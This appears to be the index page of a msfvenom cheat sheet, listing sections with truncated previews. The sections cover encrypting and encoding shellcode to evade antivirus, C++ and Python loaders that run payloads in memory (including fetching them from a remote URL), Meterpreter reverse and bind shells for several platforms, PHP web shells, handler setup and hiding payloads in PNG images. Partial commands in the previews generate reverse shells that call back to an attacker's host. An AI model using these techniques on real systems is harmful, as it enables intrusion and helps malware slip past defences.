msfvenom

Encryption Overview

Encryption Overview Two common methods to encrypt msfvenom shellcode to evade static AV detection: Method Complexity Det…

RC4 Encryption

RC4 Encryption msfvenom RC4 encrypted transport msfvenom -p windows/meterpreter/reverse_tcp_rc4 \ LHOST = <ip> LPO…

XOR Encryption

XOR Encryption Generate payload + XOR key msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST = <ip> LPORT = 444…

Bad Characters & NOP Sleds

Bad Characters & NOP Sleds Bad Characters Used in buffer overflow exploits to exclude characters that break shellcod…

Encoder Reference

Encoder Reference Full Encoder List msfvenom -l encoders Encoders by Use Case Encoder Best For x86/shikata_ga_nai Genera…

Encoding & Evasion

Encoding & Evasion shikata_ga_nai — polymorphic XOR (most common) msfvenom -p windows/meterpreter/reverse_tcp LHOST …

C++ — Execute Shellcode from Local Hex File

C++ — Execute Shellcode from Local Hex File Generate payload as hex file: msfvenom -p windows/x64/meterpreter/reverse_tc…

C++ — Execute Shellcode from Remote URL

C++ — Execute Shellcode from Remote URL Serve hex shellcode via HTTP, fetch at runtime — bypasses static analysis since …

Python — Shellcode Execution

Python — Shellcode Execution Execute hex-encoded payload in memory import binascii , ctypes hex_payload = "YOUR_HEX…

Shellcode Execution Overview

Shellcode Execution Overview Three primary methods for executing msfvenom shellcode in memory on Windows: Method Languag…

Handler Setup

Handler Setup Basic multi/handler msfconsole -q use multi/handler set payload windows/x64/meterpreter/reverse_tcp set LH…

Linux / macOS / Android Payloads

Linux / macOS / Android Payloads Linux Reverse TCP — x64 ELF msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST = <i…

Web Shells

Web Shells PHP msfvenom -p php/meterpreter/reverse_tcp LHOST = <ip> LPORT = <port> -f raw > shell.php # P…

Windows — Shellcode & Staged Payloads

Windows — Shellcode & Staged Payloads Shellcode in C format msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST = …

Windows — Reverse & Bind Shells

Windows — Reverse & Bind Shells Reverse TCP Shells x86 (32-bit) msfvenom -p windows/meterpreter/reverse_tcp LHOST = …

Windows Payloads

Windows Payloads Reverse TCP — x86 msfvenom -p windows/meterpreter/reverse_tcp LHOST = <ip> LPORT = <port> -…

Quick Reference

Quick Reference Common Flags Flag Description -p <payload> Payload to use -f <format> Output format ( exe , …

PNG Steganography

PNG Steganography Embed a msfvenom payload inside a legitimate PNG file. The image opens normally but contains a hidden …